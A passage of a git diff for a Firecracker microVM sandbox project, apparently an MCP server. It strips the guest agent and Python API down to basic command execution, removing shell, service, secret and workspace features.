final=True) - if decoded != "": - with self._lock: - self._output += decoded - with self._log_path.open("a", encoding="utf-8") as handle: - handle.write(decoded) - - def _waiter_loop(self) -> None: - exit_code = self._process.wait() - with self._lock: - self.state = "stopped" - self.exit_code = exit_code - self.ended_at = time.time() - self._write_metadata() - - def _refresh_process_state(self) -> None: - exit_code = self._process.poll() - if exit_code is None: - return - with self._lock: - if self.state == "running": - self.state = "stopped" - self.exit_code = exit_code - self.ended_at = time.time() - self._write_metadata() - - def _write_metadata(self) -> None: - self._metadata_path.parent.mkdir(parents=True, exist_ok=True) - self._metadata_path.write_text(json.dumps(self.summary(), indent=2), encoding="utf-8") - - def _close_master_fd(self) -> None: - with self._lock: - master_fd = self._master_fd - self._master_fd = None - if master_fd is None: - return - try: - os.close(master_fd) - except OSError: - pass - - -def _create_shell( - *, - shell_id: str, - cwd_text: str, - cols: int, - rows: int, - env_overrides: dict[str, str] | None = None, - redact_values: list[str] | None = None, -) -> GuestShellSession: - _, cwd_path = _normalize_shell_cwd(cwd_text) - with _SHELLS_LOCK: - if shell_id in _SHELLS: - raise RuntimeError(f"shell {shell_id!r} already exists") - session = GuestShellSession( - shell_id=shell_id, - cwd=cwd_path, - cwd_text=cwd_text, - cols=cols, - rows=rows, - env_overrides=env_overrides, - redact_values=redact_values, - ) - _SHELLS[shell_id] = session - return session - - -def _get_shell(shell_id: str) -> GuestShellSession: - with _SHELLS_LOCK: - try: - return _SHELLS[shell_id] - except KeyError as exc: - raise RuntimeError(f"shell {shell_id!r} does not exist") from exc - - -def _remove_shell(shell_id: str) -> GuestShellSession: - with _SHELLS_LOCK: - try: - return _SHELLS.pop(shell_id) - except KeyError as exc: - raise RuntimeError(f"shell {shell_id!r} does not exist") from exc - - -def _read_service_metadata(service_name: str) -> dict[str, Any]: - metadata_path = _service_metadata_path(service_name) - if not metadata_path.exists(): - raise RuntimeError(f"service {service_name!r} does not exist") - payload = json.loads(metadata_path.read_text(encoding="utf-8")) - if not isinstance(payload, dict): - raise RuntimeError(f"service record for {service_name!r} is invalid") - return payload - - -def _write_service_metadata(service_name: str, payload: dict[str, Any]) -> None: - _service_metadata_path(service_name).write_text( - json.dumps(payload, indent=2, sort_keys=True), - encoding="utf-8", - ) - - -def _service_exit_code(service_name: str) -> int | None: - status_path = _service_status_path(service_name) - if not status_path.exists(): - return None - raw_value = status_path.read_text(encoding="utf-8", errors="ignore").strip() - if raw_value == "": - return None - return int(raw_value) - - -def _service_pid_running(pid: int | None) -> bool: - if pid is None: - return False - try: - os.kill(pid, 0) - except ProcessLookupError: - return False - except PermissionError: - return True - return True - - -def _tail_service_text(path: Path, *, tail_lines: int | None) -> tuple[str, bool]: - if not path.exists(): - return "", False - text = path.read_text(encoding="utf-8", errors="replace") - if tail_lines is None: - return text, False - lines = text.splitlines(keepends=True) - if len(lines) <= tail_lines: - return text, False - return "".join(lines[-tail_lines:]), True - - -def _stop_service_process(pid: int) -> tuple[bool, bool]: - try: - os.killpg(pid, signal.SIGTERM) - except ProcessLookupError: - return False, False - deadline = time.monotonic() + 5 - while time.monotonic() < deadline: - if not _service_pid_running(pid): - return True, False - time.sleep(0.1) - try: - os.killpg(pid, signal.SIGKILL) - except ProcessLookupError: - return True, False - deadline = time.monotonic() + 5 - while time.monotonic() < deadline: - if not _service_pid_running(pid): - return True, True - time.sleep(0.1) - return True, True - - -def _refresh_service_payload(service_name: str, payload: dict[str, Any]) -> dict[str, Any]: - if str(payload.get("state", "stopped")) != "running": - return payload - pid = payload.get("pid") - normalized_pid = None if pid is None else int(pid) - if _service_pid_running(normalized_pid): - return payload - refreshed = dict(payload) - refreshed["state"] = "exited" - refreshed["ended_at"] = refreshed.get("ended_at") or time.time() - refreshed["exit_code"] = _service_exit_code(service_name) - _write_service_metadata(service_name, refreshed) - return refreshed - - -def _run_readiness_probe( - readiness: dict[str, Any] | None, - *, - cwd: Path, - env: dict[str, str] | None = None, -) -> bool: - if readiness is None: - return True - readiness_type = str(readiness["type"]) - if readiness_type == "file": - _, ready_path = _normalize_destination(str(readiness["path"])) - return ready_path.exists() - if readiness_type == "tcp": - host, raw_port = str(readiness["address"]).rsplit(":", 1) - with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: - sock.settimeout(1) - try: - sock.connect((host, int(raw_port))) - except OSError: - return False - return True - if readiness_type == "http": - request = urllib.request.Request(str(readiness["url"]), method="GET") - try: - with urllib.request.urlopen(request, timeout=2) as response: # noqa: S310 - return 200 <= int(response.status) < 400 - except (urllib.error.URLError, TimeoutError, ValueError): - return False - if readiness_type == "command": - command_env = os.environ.copy() - if env is not None: - command_env.update(env) - proc = subprocess.run( # noqa: S603 - ["/bin/sh", "-lc", str(readiness["command"])], - cwd=str(cwd), - text=True, - capture_output=True, - env=command_env, - timeout=10, - check=False, - ) - return proc.returncode == 0 - raise RuntimeError(f"unsupported readiness type: {readiness_type}") - - -def _start_service( - *, - service_name: str, - command: str, - cwd_text: str, - readiness: dict[str, Any] | None, - ready_timeout_seconds: int, - ready_interval_ms: int, - env: dict[str, str] | None = None, -) -> dict[str, Any]: - normalized_service_name = _normalize_service_name(service_name) - normalized_cwd, cwd_path = _normalize_shell_cwd(cwd_text) - existing = None - metadata_path = _service_metadata_path(normalized_service_name) - if metadata_path.exists(): - existing = _refresh_service_payload( - normalized_service_name, - _read_service_metadata(normalized_service_name), - ) - if existing is not None and str(existing.get("state", "stopped")) == "running": - raise RuntimeError(f"service {normalized_service_name!r} is already running") - SERVICE_ROOT.mkdir(parents=True, exist_ok=True) - stdout_path = _service_stdout_path(normalized_service_name) - stderr_path = _service_stderr_path(normalized_service_name) - status_path = _service_status_path(normalized_service_name) - runner_path = _service_runner_path(normalized_service_name) - stdout_path.write_text("", encoding="utf-8") - stderr_path.write_text("", encoding="utf-8") - status_path.unlink(missing_ok=True) - runner_path.write_text( - "\n".join( - [ - "#!/bin/sh", - "set +e", - f"cd {shlex.quote(str(cwd_path))}", - ( - f"/bin/sh -lc {shlex.quote(command)}" - f" >> {shlex.quote(str(stdout_path))}" - f" 2>> {shlex.quote(str(stderr_path))}" - ), - "status=$?", - f"printf '%s' \"$status\" > {shlex.quote(str(status_path))}", - "exit \"$status\"", - ] - ) - + "\n", - encoding="utf-8", - ) - runner_path.chmod(0o700) - service_env = os.environ.copy() - if env is not None: - service_env.update(env) - process = subprocess.Popen( # noqa: S603 - [str(runner_path)], - cwd=str(cwd_path), - env=service_env, - text=True, - start_new_session=True, - ) - payload: dict[str, Any] = { - "service_name": normalized_service_name, - "command": command, - "cwd": normalized_cwd, - "state": "running", - "started_at": time.time(), - "readiness": readiness, - "ready_at": None, - "ended_at": None, - "exit_code": None, - "pid": process.pid, - "stop_reason": None, - } - _write_service_metadata(normalized_service_name, payload) - deadline = time.monotonic() + ready_timeout_seconds - while True: - payload = _refresh_service_payload(normalized_service_name, payload) - if str(payload.get("state", "stopped")) != "running": - payload["state"] = "failed" - payload["stop_reason"] = "process_exited_before_ready" - payload["ended_at"] = payload.get("ended_at") or time.time() - _write_service_metadata(normalized_service_name, payload) - return payload - if _run_readiness_probe(readiness, cwd=cwd_path, env=env): - payload["ready_at"] = time.time() - _write_service_metadata(normalized_service_name, payload) - return payload - if time.monotonic() >= deadline: - _stop_service_process(process.pid) - payload = _refresh_service_payload(normalized_service_name, payload) - payload["state"] = "failed" - payload["stop_reason"] = "readiness_timeout" - payload["ended_at"] = payload.get("ended_at") or time.time() - _write_service_metadata(normalized_service_name, payload) - return payload - time.sleep(max(ready_interval_ms, 1) / 1000) - - -def _status_service(service_name: str) -> dict[str, Any]: - normalized_service_name = _normalize_service_name(service_name) - return _refresh_service_payload( - normalized_service_name, - _read_service_metadata(normalized_service_name), - ) - - -def _logs_service(service_name: str, *, tail_lines: int | None) -> dict[str, Any]: - normalized_service_name = _normalize_service_name(service_name) - payload = _status_service(normalized_service_name) - stdout, stdout_truncated = _tail_service_text( - _service_stdout_path(normalized_service_name), - tail_lines=tail_lines, - ) - stderr, stderr_truncated = _tail_service_text( - _service_stderr_path(normalized_service_name), - tail_lines=tail_lines, - ) - payload.update( - { - "stdout": stdout, - "stderr": stderr, - "tail_lines": tail_lines, - "truncated": stdout_truncated or stderr_truncated, - } - ) - return payload - - -def _stop_service(service_name: str) -> dict[str, Any]: - normalized_service_name = _normalize_service_name(service_name) - payload = _status_service(normalized_service_name) - pid = payload.get("pid") - if pid is None: - return payload - if str(payload.get("state", "stopped")) == "running": - _, killed = _stop_service_process(int(pid)) - payload = _status_service(normalized_service_name) - payload["state"] = "stopped" - payload["stop_reason"] = "sigkill" if killed else "sigterm" - payload["ended_at"] = payload.get("ended_at") or time.time() - _write_service_metadata(normalized_service_name, payload) - return payload - - -def _dispatch(request: dict[str, Any], conn: socket.socket) -> dict[str, Any]: - action = str(request.get("action", "exec")) - if action == "extract_archive": - archive_size = int(request.get("archive_size", 0)) - if archive_size < 0: - raise RuntimeError("archive_size must not be negative") - destination = str(request.get("destination", "/workspace")) - payload = _read_exact(conn, archive_size) - return _extract_archive(payload, destination) - if action == "install_secrets": - archive_size = int(request.get("archive_size", 0)) - if archive_size < 0: - raise RuntimeError("archive_size must not be negative") - payload = _read_exact(conn, archive_size) - return _install_secrets_archive(payload) - if action == "list_workspace": - return _list_workspace( - str(request.get("path", "/workspace")), - recursive=bool(request.get("recursive", False)), - ) - if action == "read_workspace_file": - return _read_workspace_file( - str(request.get("path", "/workspace")), - max_bytes=int(request.get("max_bytes", WORKSPACE_FILE_MAX_BYTES)), - ) - if action == "write_workspace_file": - return _write_workspace_file( - str(request.get("path", "/workspace")), - text=str(request.get("text", "")), - ) - if action == "delete_workspace_path": - return _delete_workspace_path(str(request.get("path", "/workspace"))) - if action == "open_shell": - shell_id = str(request.get("shell_id", "")).strip() - if shell_id == "": - raise RuntimeError("shell_id is required") - cwd_text, _ = _normalize_shell_cwd(str(request.get("cwd", "/workspace"))) - env_payload = request.get("env") - env_overrides = None - if env_payload is not None: - if not isinstance(env_payload, dict): - raise RuntimeError("shell env must be a JSON object") - env_overrides = { - _normalize_secret_name(str(key)): str(value) for key, value in env_payload.items() - } - redact_values_payload = request.get("redact_values") - redact_values: list[str] | None = None - if redact_values_payload is not None: - if not isinstance(redact_values_payload, list): - raise RuntimeError("redact_values must be a list") - redact_values = [str(item) for item in redact_values_payload] - session = _create_shell( - shell_id=shell_id, - cwd_text=cwd_text, - cols=int(request.get("cols", 120)), - rows=int(request.get("rows", 30)), - env_overrides=env_overrides, - redact_values=redact_values, - ) - return session.summary() - if action == "read_shell": - shell_id = str(request.get("shell_id", "")).strip() - if shell_id == "": - raise RuntimeError("shell_id is required") - return _get_shell(shell_id).read( - cursor=int(request.get("cursor", 0)), - max_chars=int(request.get("max_chars", 65536)), - ) - if action == "write_shell": - shell_id = str(request.get("shell_id", "")).strip() - if shell_id == "": - raise RuntimeError("shell_id is required") - return _get_shell(shell_id).write( - str(request.get("input", "")), - append_newline=bool(request.get("append_newline", True)), - ) - if action == "signal_shell": - shell_id = str(request.get("shell_id", "")).strip() - if shell_id == "": - raise RuntimeError("shell_id is required") - signal_name = str(request.get("signal", "INT")).upper() - if signal_name not in SHELL_SIGNAL_NAMES: - raise RuntimeError( - f"signal must be one of: {', '.join(SHELL_SIGNAL_NAMES)}" - ) - return _get_shell(shell_id).send_signal(signal_name) - if action == "close_shell": - shell_id = str(request.get("shell_id", "")).strip() - if shell_id == "": - raise RuntimeError("shell_id is required") - return _remove_shell(shell_id).close() - if action == "start_service": - service_name = str(request.get("service_name", "")).strip() - command = str(request.get("command", "")) - cwd_text = str(request.get("cwd", "/workspace")) - readiness = request.get("readiness") - readiness_payload = dict(readiness) if isinstance(readiness, dict) else None - env_payload = request.get("env") - env = None - if env_payload is not None: - if not isinstance(env_payload, dict): - raise RuntimeError("service env must be a JSON object") - env = { - _normalize_secret_name(str(key)): str(value) - for key, value in env_payload.items() - } - return _start_service( - service_name=service_name, - command=command, - cwd_text=cwd_text, - readiness=readiness_payload, - ready_timeout_seconds=int(request.get("ready_timeout_seconds", 30)), - ready_interval_ms=int(request.get("ready_interval_ms", 500)), - env=env, - ) - if action == "status_service": - service_name = str(request.get("service_name", "")).strip() - return _status_service(service_name) - if action == "logs_service": - service_name = str(request.get("service_name", "")).strip() - tail_lines = request.get("tail_lines") - normalized_tail_lines = None if tail_lines is None else int(tail_lines) - return _logs_service(service_name, tail_lines=normalized_tail_lines) - if action == "stop_service": - service_name = str(request.get("service_name", "")).strip() - return _stop_service(service_name) - command = str(request.get("command", "")) - timeout_seconds = int(request.get("timeout_seconds", 30)) - env_payload = request.get("env") - env = None - if env_payload is not None: - if not isinstance(env_payload, dict): - raise RuntimeError("exec env must be a JSON object") - env = {_normalize_secret_name(str(key)): str(value) for key, value in env_payload.items()} - return _run_command(command, timeout_seconds, env=env) - - def main() -> None: - SHELL_ROOT.mkdir(parents=True, exist_ok=True) - SERVICE_ROOT.mkdir(parents=True, exist_ok=True) - SECRET_ROOT.mkdir(parents=True, exist_ok=True) family = getattr(socket, "AF_VSOCK", None) if family is None: raise SystemExit("AF_VSOCK is unavailable") @@ -1215,31 +63,10 @@ def main() -> None: while True: conn, _ = server.accept() with conn: - try: - request = _read_request(conn) - if str(request.get("action", "")) == "export_archive": - export = _prepare_export_archive(str(request.get("path", "/workspace"))) - try: - header = { - "workspace_path": export["workspace_path"], - "artifact_type": export["artifact_type"], - "archive_size": export["archive_size"], - "entry_count": export["entry_count"], - "bytes_written": export["bytes_written"], - } - conn.sendall((json.dumps(header) + "\n").encode("utf-8")) - with Path(str(export["archive_path"])).open("rb") as handle: - while True: - chunk = handle.read(BUFFER_SIZE) - if chunk == b"": - break - conn.sendall(chunk) - finally: - Path(str(export["archive_path"])).unlink(missing_ok=True) - continue - response = _dispatch(request, conn) - except Exception as exc: # noqa: BLE001 - response = {"error": str(exc)} + request = _read_request(conn) + command = str(request.get("command", "")) + timeout_seconds = int(request.get("timeout_seconds", 30)) + response = _run_command(command, timeout_seconds) conn.sendall((json.dumps(response) + "\n").encode("utf-8")) diff --git a/runtime_sources/linux-x86_64/runtime.lock.json b/runtime_sources/linux-x86_64/runtime.lock.json index 72a4e2c..b5eca96 100644 --- a/runtime_sources/linux-x86_64/runtime.lock.json +++ b/runtime_sources/linux-x86_64/runtime.lock.json @@ -5,7 +5,7 @@ "firecracker": "1.12.1", "jailer": "1.12.1", "kernel": "5.10.210", - "guest_agent": "0.2.0-dev", + "guest_agent": "0.1.0-dev", "base_distro": "debian-bookworm-20250210" }, "capabilities": { diff --git a/runtime_sources/linux-x86_64/scripts/pyro-init b/runtime_sources/linux-x86_64/scripts/pyro-init index 2e8a82a..6d4b9eb 100755 --- a/runtime_sources/linux-x86_64/scripts/pyro-init +++ b/runtime_sources/linux-x86_64/scripts/pyro-init @@ -7,8 +7,7 @@ AGENT=/opt/pyro/bin/pyro_guest_agent.py mount -t proc proc /proc || true mount -t sysfs sysfs /sys || true mount -t devtmpfs devtmpfs /dev || true -mkdir -p /dev/pts /run /tmp -mount -t devpts devpts /dev/pts -o mode=620,ptmxmode=666 || true +mkdir -p /run /tmp hostname pyro-vm || true cmdline="$(cat /proc/cmdline 2>/dev/null || true)" diff --git a/scripts/daily_loop_smoke.py b/scripts/daily_loop_smoke.py deleted file mode 100644 index dc40980..0000000 --- a/scripts/daily_loop_smoke.py +++ /dev/null @@ -1,8 +0,0 @@ -#!/usr/bin/env python3 - -"""Run the real guest-backed daily-loop smoke.""" - -from pyro_mcp.daily_loop_smoke import main - -if __name__ == "__main__": - main() diff --git a/scripts/render_tape.sh b/scripts/render_tape.sh deleted file mode 100755 index 08b4b6e..0000000 --- a/scripts/render_tape.sh +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env bash -set -euo pipefail - -if [ "$#" -lt 1 ] || [ "$#" -gt 2 ]; then - printf 'Usage: %s [output-file]\n' "$0" >&2 - exit 1 -fi - -if ! command -v vhs >/dev/null 2>&1; then - printf '%s\n' 'vhs is required to render terminal recordings.' >&2 - exit 1 -fi - -ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" -TAPE_FILE="$1" -OUTPUT_FILE="${2:-}" - -cd "$ROOT_DIR" -vhs validate "$TAPE_FILE" - -if [ -n "$OUTPUT_FILE" ]; then - vhs -o "$OUTPUT_FILE" "$TAPE_FILE" -else - vhs "$TAPE_FILE" -fi diff --git a/scripts/workspace_use_case_smoke.py b/scripts/workspace_use_case_smoke.py deleted file mode 100644 index c35de79..0000000 --- a/scripts/workspace_use_case_smoke.py +++ /dev/null @@ -1,8 +0,0 @@ -#!/usr/bin/env python3 - -"""Run the real guest-backed workspace use-case smoke scenarios.""" - -from pyro_mcp.workspace_use_case_smokes import main - -if __name__ == "__main__": - main() diff --git a/src/pyro_mcp/api.py b/src/pyro_mcp/api.py index 967b05c..758e4c0 100644 --- a/src/pyro_mcp/api.py +++ b/src/pyro_mcp/api.py @@ -3,154 +3,11 @@ from __future__ import annotations from pathlib import Path -from typing import Any, Literal, cast +from typing import Any from mcp.server.fastmcp import FastMCP -from pyro_mcp.contract import ( - PUBLIC_MCP_COLD_START_MODE_TOOLS, - PUBLIC_MCP_INSPECT_MODE_TOOLS, - PUBLIC_MCP_MODES, - PUBLIC_MCP_PROFILES, - PUBLIC_MCP_REPRO_FIX_MODE_TOOLS, - PUBLIC_MCP_REVIEW_EVAL_MODE_TOOLS, - PUBLIC_MCP_VM_RUN_PROFILE_TOOLS, - PUBLIC_MCP_WORKSPACE_CORE_PROFILE_TOOLS, - PUBLIC_MCP_WORKSPACE_FULL_PROFILE_TOOLS, -) -from pyro_mcp.project_startup import ( - ProjectStartupSource, - describe_project_startup_source, - materialize_project_startup_source, - resolve_project_startup_source, -) -from pyro_mcp.vm_manager import ( - DEFAULT_ALLOW_HOST_COMPAT, - DEFAULT_MEM_MIB, - DEFAULT_TIMEOUT_SECONDS, - DEFAULT_TTL_SECONDS, - DEFAULT_VCPU_COUNT, - DEFAULT_WORKSPACE_NETWORK_POLICY, - VmManager, -) - -McpToolProfile = Literal["vm-run", "workspace-core", "workspace-full"] -WorkspaceUseCaseMode = Literal["repro-fix", "inspect", "cold-start", "review-eval"] - -_PROFILE_TOOLS: dict[str, tuple[str, ...]] = { - "vm-run": PUBLIC_MCP_VM_RUN_PROFILE_TOOLS, - "workspace-core": PUBLIC_MCP_WORKSPACE_CORE_PROFILE_TOOLS, - "workspace-full": PUBLIC_MCP_WORKSPACE_FULL_PROFILE_TOOLS, -} -_MODE_TOOLS: dict[str, tuple[str, ...]] = { - "repro-fix": PUBLIC_MCP_REPRO_FIX_MODE_TOOLS, - "inspect": PUBLIC_MCP_INSPECT_MODE_TOOLS, - "cold-start": PUBLIC_MCP_COLD_START_MODE_TOOLS, - "review-eval": PUBLIC_MCP_REVIEW_EVAL_MODE_TOOLS, -} -_MODE_CREATE_INTENT: dict[str, str] = { - "repro-fix": "to reproduce a failure, patch files, rerun, diff, export, and reset", - "inspect": "to inspect suspicious or unfamiliar code with the smallest persistent surface", - "cold-start": ( - "to validate a fresh repo, keep one service alive, and export a " - "validation report" - ), - "review-eval": "to review interactively, checkpoint work, and export the final report", -} -_MODE_TOOL_DESCRIPTIONS: dict[str, dict[str, str]] = { - "repro-fix": { - "workspace_file_read": "Read one workspace file while investigating the broken state.", - "workspace_file_write": "Write one workspace file directly as part of the fix loop.", - "workspace_patch_apply": "Apply a structured text patch inside the workspace fix loop.", - "workspace_export": "Export the fixed result or patch-ready file back to the host.", - "workspace_summary": ( - "Summarize the current repro/fix session for review before export " - "or reset." - ), - }, - "inspect": { - "workspace_file_list": "List suspicious files under the current workspace path.", - "workspace_file_read": "Read one suspicious or unfamiliar workspace file.", - "workspace_export": ( - "Export only the inspection report or artifact you chose to " - "materialize." - ), - "workspace_summary": "Summarize the current inspection session and its exported results.", - }, - "cold-start": { - "workspace_create": "Create and start a persistent workspace for cold-start validation.", - "workspace_export": "Export the validation report or other final host-visible result.", - "workspace_summary": ( - "Summarize the current validation session, service state, and " - "exports." - ), - "service_start": "Start a named validation or app service and wait for typed readiness.", - "service_list": "List running and exited validation services in the current workspace.", - "service_status": "Inspect one validation service and its readiness outcome.", - "service_logs": "Read stdout and stderr from one validation service.", - "service_stop": "Stop one validation service in the workspace.", - }, - "review-eval": { - "workspace_create": ( - "Create and start a persistent workspace for interactive review " - "or evaluation." - ), - "workspace_summary": "Summarize the current review session before exporting or resetting.", - "shell_open": "Open an interactive review shell inside the workspace.", - "shell_read": "Read chat-friendly PTY output from the current review shell.", - "shell_write": "Send one line of input to the current review shell.", - "shell_signal": "Interrupt or terminate the current review shell process group.", - "shell_close": "Close the current review shell.", - "snapshot_create": "Create a checkpoint before the review branch diverges.", - "snapshot_list": "List the baseline plus named review checkpoints.", - "snapshot_delete": "Delete one named review checkpoint.", - }, -} - - -def _validate_mcp_profile(profile: str) -> McpToolProfile: - if profile not in PUBLIC_MCP_PROFILES: - expected = ", ".join(PUBLIC_MCP_PROFILES) - raise ValueError(f"unknown MCP profile {profile!r}; expected one of: {expected}") - return cast(McpToolProfile, profile) - - -def _validate_workspace_mode(mode: str) -> WorkspaceUseCaseMode: - if mode not in PUBLIC_MCP_MODES: - expected = ", ".join(PUBLIC_MCP_MODES) - raise ValueError(f"unknown workspace mode {mode!r}; expected one of: {expected}") - return cast(WorkspaceUseCaseMode, mode) - - -def _workspace_create_description( - startup_source: ProjectStartupSource | None, - *, - mode: WorkspaceUseCaseMode | None = None, -) -> str: - if mode is not None: - prefix = ( - "Create and start a persistent workspace " - f"{_MODE_CREATE_INTENT[mode]}." - ) - else: - prefix = "Create and start a persistent workspace." - if startup_source is None: - return prefix - described_source = describe_project_startup_source(startup_source) - if described_source is None: - return prefix - return f"{prefix} If `seed_path` is omitted, the server seeds from {described_source}." - - -def _tool_description( - tool_name: str, - *, - mode: WorkspaceUseCaseMode | None, - fallback: str, -) -> str: - if mode is None: - return fallback - return _MODE_TOOL_DESCRIPTIONS.get(mode, {}).get(tool_name, fallback) +from pyro_mcp.vm_manager import VmManager class Pyro: @@ -192,11 +49,10 @@ class Pyro: self, *, environment: str, - vcpu_count: int = DEFAULT_VCPU_COUNT, - mem_mib: int = DEFAULT_MEM_MIB, - ttl_seconds: int = DEFAULT_TTL_SECONDS, + vcpu_count: int, + mem_mib: int, + ttl_seconds: int = 600, network: bool = False, - allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, ) -> dict[str, Any]: return self._manager.create_vm( environment=environment, @@ -204,7 +60,6 @@ class Pyro: mem_mib=mem_mib, ttl_seconds=ttl_seconds, network=network, - allow_host_compat=allow_host_compat, ) def start_vm(self, vm_id: str) -> dict[str, Any]: @@ -213,334 +68,6 @@ class Pyro: def exec_vm(self, vm_id: str, *, command: str, timeout_seconds: int = 30) -> dict[str, Any]: return self._manager.exec_vm(vm_id, command=command, timeout_seconds=timeout_seconds) - def create_workspace( - self, - *, - environment: str, - vcpu_count: int = DEFAULT_VCPU_COUNT, - mem_mib: int = DEFAULT_MEM_MIB, - ttl_seconds: int = DEFAULT_TTL_SECONDS, - network_policy: str = DEFAULT_WORKSPACE_NETWORK_POLICY, - allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, - seed_path: str | Path | None = None, - secrets: list[dict[str, str]] | None = None, - name: str | None = None, - labels: dict[str, str] | None = None, - ) -> dict[str, Any]: - return self._manager.create_workspace( - environment=environment, - vcpu_count=vcpu_count, - mem_mib=mem_mib, - ttl_seconds=ttl_seconds, - network_policy=network_policy, - allow_host_compat=allow_host_compat, - seed_path=seed_path, - secrets=secrets, - name=name, - labels=labels, - ) - - def list_workspaces(self) -> dict[str, Any]: - return self._manager.list_workspaces() - - def update_workspace( - self, - workspace_id: str, - *, - name: str | None = None, - clear_name: bool = False, - labels: dict[str, str] | None = None, - clear_labels: list[str] | None = None, - ) -> dict[str, Any]: - return self._manager.update_workspace( - workspace_id, - name=name, - clear_name=clear_name, - labels=labels, - clear_labels=clear_labels, - ) - - def exec_workspace( - self, - workspace_id: str, - *, - command: str, - timeout_seconds: int = DEFAULT_TIMEOUT_SECONDS, - secret_env: dict[str, str] | None = None, - ) -> dict[str, Any]: - return self._manager.exec_workspace( - workspace_id, - command=command, - timeout_seconds=timeout_seconds, - secret_env=secret_env, - ) - - def status_workspace(self, workspace_id: str) -> dict[str, Any]: - return self._manager.status_workspace(workspace_id) - - def stop_workspace(self, workspace_id: str) -> dict[str, Any]: - return self._manager.stop_workspace(workspace_id) - - def start_workspace(self, workspace_id: str) -> dict[str, Any]: - return self._manager.start_workspace(workspace_id) - - def push_workspace_sync( - self, - workspace_id: str, - source_path: str | Path, - *, - dest: str = "/workspace", - ) -> dict[str, Any]: - return self._manager.push_workspace_sync( - workspace_id, - source_path=source_path, - dest=dest, - ) - - def logs_workspace(self, workspace_id: str) -> dict[str, Any]: - return self._manager.logs_workspace(workspace_id) - - def summarize_workspace(self, workspace_id: str) -> dict[str, Any]: - return self._manager.summarize_workspace(workspace_id) - - def export_workspace( - self, - workspace_id: str, - path: str, - *, - output_path: str | Path, - ) -> dict[str, Any]: - return self._manager.export_workspace( - workspace_id, - path=path, - output_path=output_path, - ) - - def diff_workspace(self, workspace_id: str) -> dict[str, Any]: - return self._manager.diff_workspace(workspace_id) - - def list_workspace_files( - self, - workspace_id: str, - *, - path: str = "/workspace", - recursive: bool = False, - ) -> dict[str, Any]: - return self._manager.list_workspace_files( - workspace_id, - path=path, - recursive=recursive, - ) - - def read_workspace_file( - self, - workspace_id: str, - path: str, - *, - max_bytes: int = 65536, - ) -> dict[str, Any]: - return self._manager.read_workspace_file( - workspace_id, - path, - max_bytes=max_bytes, - ) - - def write_workspace_file( - self, - workspace_id: str, - path: str, - *, - text: str, - ) -> dict[str, Any]: - return self._manager.write_workspace_file( - workspace_id, - path, - text=text, - ) - - def apply_workspace_patch( - self, - workspace_id: str, - *, - patch: str, - ) -> dict[str, Any]: - return self._manager.apply_workspace_patch( - workspace_id, - patch=patch, - ) - - def export_workspace_disk( - self, - workspace_id: str, - *, - output_path: str | Path, - ) -> dict[str, Any]: - return self._manager.export_workspace_disk( - workspace_id, - output_path=output_path, - ) - - def list_workspace_disk( - self, - workspace_id: str, - *, - path: str = "/workspace", - recursive: bool = False, - ) -> dict[str, Any]: - return self._manager.list_workspace_disk( - workspace_id, - path=path, - recursive=recursive, - ) - - def read_workspace_disk( - self, - workspace_id: str, - path: str, - *, - max_bytes: int = 65536, - ) -> dict[str, Any]: - return self._manager.read_workspace_disk( - workspace_id, - path=path, - max_bytes=max_bytes, - ) - - def create_snapshot(self, workspace_id: str, snapshot_name: str) -> dict[str, Any]: - return self._manager.create_snapshot(workspace_id, snapshot_name) - - def list_snapshots(self, workspace_id: str) -> dict[str, Any]: - return self._manager.list_snapshots(workspace_id) - - def delete_snapshot(self, workspace_id: str, snapshot_name: str) -> dict[str, Any]: - return self._manager.delete_snapshot(workspace_id, snapshot_name) - - def reset_workspace( - self, - workspace_id: str, - *, - snapshot: str = "baseline", - ) -> dict[str, Any]: - return self._manager.reset_workspace(workspace_id, snapshot=snapshot) - - def open_shell( - self, - workspace_id: str, - *, - cwd: str = "/workspace", - cols: int = 120, - rows: int = 30, - secret_env: dict[str, str] | None = None, - ) -> dict[str, Any]: - return self._manager.open_shell( - workspace_id, - cwd=cwd, - cols=cols, - rows=rows, - secret_env=secret_env, - ) - - def read_shell( - self, - workspace_id: str, - shell_id: str, - *, - cursor: int = 0, - max_chars: int = 65536, - plain: bool = False, - wait_for_idle_ms: int | None = None, - ) -> dict[str, Any]: - return self._manager.read_shell( - workspace_id, - shell_id, - cursor=cursor, - max_chars=max_chars, - plain=plain, - wait_for_idle_ms=wait_for_idle_ms, - ) - - def write_shell( - self, - workspace_id: str, - shell_id: str, - *, - input: str, - append_newline: bool = True, - ) -> dict[str, Any]: - return self._manager.write_shell( - workspace_id, - shell_id, - input_text=input, - append_newline=append_newline, - ) - - def signal_shell( - self, - workspace_id: str, - shell_id: str, - *, - signal_name: str = "INT", - ) -> dict[str, Any]: - return self._manager.signal_shell( - workspace_id, - shell_id, - signal_name=signal_name, - ) - - def close_shell(self, workspace_id: str, shell_id: str) -> dict[str, Any]: - return self._manager.close_shell(workspace_id, shell_id) - - def start_service( - self, - workspace_id: str, - service_name: str, - *, - command: str, - cwd: str = "/workspace", - readiness: dict[str, Any] | None = None, - ready_timeout_seconds: int = 30, - ready_interval_ms: int = 500, - secret_env: dict[str, str] | None = None, - published_ports: list[dict[str, int | None]] | None = None, - ) -> dict[str, Any]: - return self._manager.start_service( - workspace_id, - service_name, - command=command, - cwd=cwd, - readiness=readiness, - ready_timeout_seconds=ready_timeout_seconds, - ready_interval_ms=ready_interval_ms, - secret_env=secret_env, - published_ports=published_ports, - ) - - def list_services(self, workspace_id: str) -> dict[str, Any]: - return self._manager.list_services(workspace_id) - - def status_service(self, workspace_id: str, service_name: str) -> dict[str, Any]: - return self._manager.status_service(workspace_id, service_name) - - def logs_service( - self, - workspace_id: str, - service_name: str, - *, - tail_lines: int = 200, - all: bool = False, - ) -> dict[str, Any]: - return self._manager.logs_service( - workspace_id, - service_name, - tail_lines=None if all else tail_lines, - ) - - def stop_service(self, workspace_id: str, service_name: str) -> dict[str, Any]: - return self._manager.stop_service(workspace_id, service_name) - - def delete_workspace(self, workspace_id: str) -> dict[str, Any]: - return self._manager.delete_workspace(workspace_id) - def stop_vm(self, vm_id: str) -> dict[str, Any]: return self._manager.stop_vm(vm_id) @@ -561,12 +88,11 @@ class Pyro: *, environment: str, command: str, - vcpu_count: int = DEFAULT_VCPU_COUNT, - mem_mib: int = DEFAULT_MEM_MIB, - 